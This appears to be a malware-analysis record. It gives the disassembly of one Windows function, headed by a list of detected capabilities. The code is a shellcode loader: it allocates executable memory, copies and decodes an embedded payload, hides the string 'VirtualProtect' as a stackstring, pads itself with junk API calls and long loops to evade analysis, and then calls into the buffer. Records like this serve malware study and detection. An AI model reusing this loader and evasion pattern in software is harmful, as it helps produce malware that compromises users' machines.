Function at 0x402290
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call
Read .ini file
Read file on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x908
mov dword [ebp - 0x20], 0
push 0x427058
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0x934
jne 0x4023b0
push 0x425ff8
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 0x8074d
jne 0x4023b0
push 0x425ff8
call fcn.004067a0
add esp, 4
cmp eax, 0x97568
jne 0x4023b0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x5903c
jne 0x4023b0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_RaiseException]
mov edx, 4
shl edx, 0
mov eax, dword [edx + 0x4249bc]
mov dword [0x427054], eax
mov ecx, dword [0x427054]
add ecx, 0xa2554
mov dword [0x427054], ecx
mov dword [ebp - 0x18], 0
jmp 0x4023e7
mov edx, dword [ebp - 0x18]
add edx, 1
mov dword [ebp - 0x18], edx
cmp dword [ebp - 0x18], 0x2d0
jge 0x402428
cmp dword [ebp - 0x18], 0x122
jne 0x402413
push 0x40
push 0x1000
mov eax, dword [0x427054]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x426c4c], eax
cmp dword [ebp - 0x18], 0x26c0
jge 0x402426
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
jmp 0x4023de
mov dword [ebp - 0xc], 0
jmp 0x40243a
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
cmp dword [ebp - 0xc], 0x695114
jge 0x402461
cmp dword [ebp - 0xc], 0x4c29b8
jne 0x40245f
mov edx, 4
shl edx, 0
mov eax, dword [edx + 0x4249b0]
mov dword [0x42b1b8], eax
jmp 0x402431
mov dword [ebp - 4], 0
jmp 0x402473
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0x5d91e1a1
jge 0x4024bf
cmp dword [ebp - 4], 0x1630
jge 0x402497
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
cmp dword [ebp - 4], 0x26538
jle 0x4024bd
cmp dword [ebp - 0x44], 0x170b5f6b
je 0x4024bd
cmp dword [ebp - 0x34], 0xdf790d0
je 0x4024bd
cmp dword [ebp - 0x28], 0x7040c746
je 0x4024bd
jmp 0x4024bf
jmp 0x40246a
mov dword [ebp - 8], 0
jmp 0x4024d1
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
mov eax, dword [0x427054]
cmp dword [ebp - 8], eax
jae 0x402509
cmp dword [ebp - 8], 0x2473
jge 0x4024ee
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EscapeCommFunction]
mov ecx, dword [0x42b1b8]
add ecx, dword [ebp - 8]
mov dl, byte [ecx + 0xa2554]
mov eax, dword [0x426c4c]
add eax, dword [ebp - 8]
mov byte [eax], dl
jmp 0x4024c8
mov dword [ebp - 0x10], 0
jmp 0x40251b
mov ecx, dword [ebp - 0x10]
add ecx, 1
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0x10], 0x7f5110
jge 0x40256d
cmp dword [ebp - 0x10], 0xbc5f92
jle 0x402535
push 0
call dword [sym.imp.KERNEL32.dll_PulseEvent]
cmp dword [ebp - 0x10], 0x2c78a0
jne 0x40254e
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [0x427050], eax
cmp dword [ebp - 0x10], 0x26f9
jge 0x40256b
push 0
lea edx, [ebp - 0x908]
push edx
push str.De_doxofezavuyu_bokejunikudihubekopukafolo_zepiyiwaya_yehacubenegijugu
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointA]
jmp 0x402512
mov eax, 1
shl eax, 3
mov byte [ebp + eax - 0x508], 0x72
mov ecx, 1
imul edx, ecx, 5
mov byte [ebp + edx - 0x508], 0x61
mov eax, 1
imul ecx, eax, 9
mov byte [ebp + ecx - 0x508], 0x6f
mov edx, 1
imul eax, edx, 6
mov byte [ebp + eax - 0x508], 0x6c
mov ecx, 1
imul edx, ecx, 0xb
mov byte [ebp + edx - 0x508], 0x65
mov eax, 1
shl eax, 0
mov byte [ebp + eax - 0x508], 0x69
mov ecx, 1
imul edx, ecx, 0
mov byte [ebp + edx - 0x508], 0x56
mov eax, 1
shl eax, 2
mov byte [ebp + eax - 0x508], 0x75
mov ecx, 1
imul edx, ecx, 7
mov byte [ebp + edx - 0x508], 0x50
mov eax, 1
imul ecx, eax, 0xd
mov byte [ebp + ecx - 0x508], 0x74
mov edx, 1
imul eax, edx, 3
mov byte [ebp + eax - 0x508], 0x74
mov ecx, 1
imul edx, ecx, 0xa
mov byte [ebp + edx - 0x508], 0x74
mov eax, 1
imul ecx, eax, 0xc
mov byte [ebp + ecx - 0x508], 0x63
mov edx, 1
shl edx, 1
mov byte [ebp + edx - 0x508], 0x72
mov eax, 1
imul ecx, eax, 0xe
mov byte [ebp + ecx - 0x508], 0
mov dword [ebp - 0x14], 0
jmp 0x40266e
mov edx, dword [ebp - 0x14]
add edx, 1
mov dword [ebp - 0x14], edx
cmp dword [ebp - 0x14], 0x799c34
jge 0x402679
jmp 0x402665
push 0x4245b0
mov eax, dword [0x427054]
push eax
mov ecx, dword [0x426c4c]
push ecx
call fcn.00402270
nop
add dword [0x427054], 0x388b2aff
call dword [0x426c4c]
mov edx, dword fs:[0x2c]
mov eax, dword [edx]
mov dword [eax + 4], 1
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10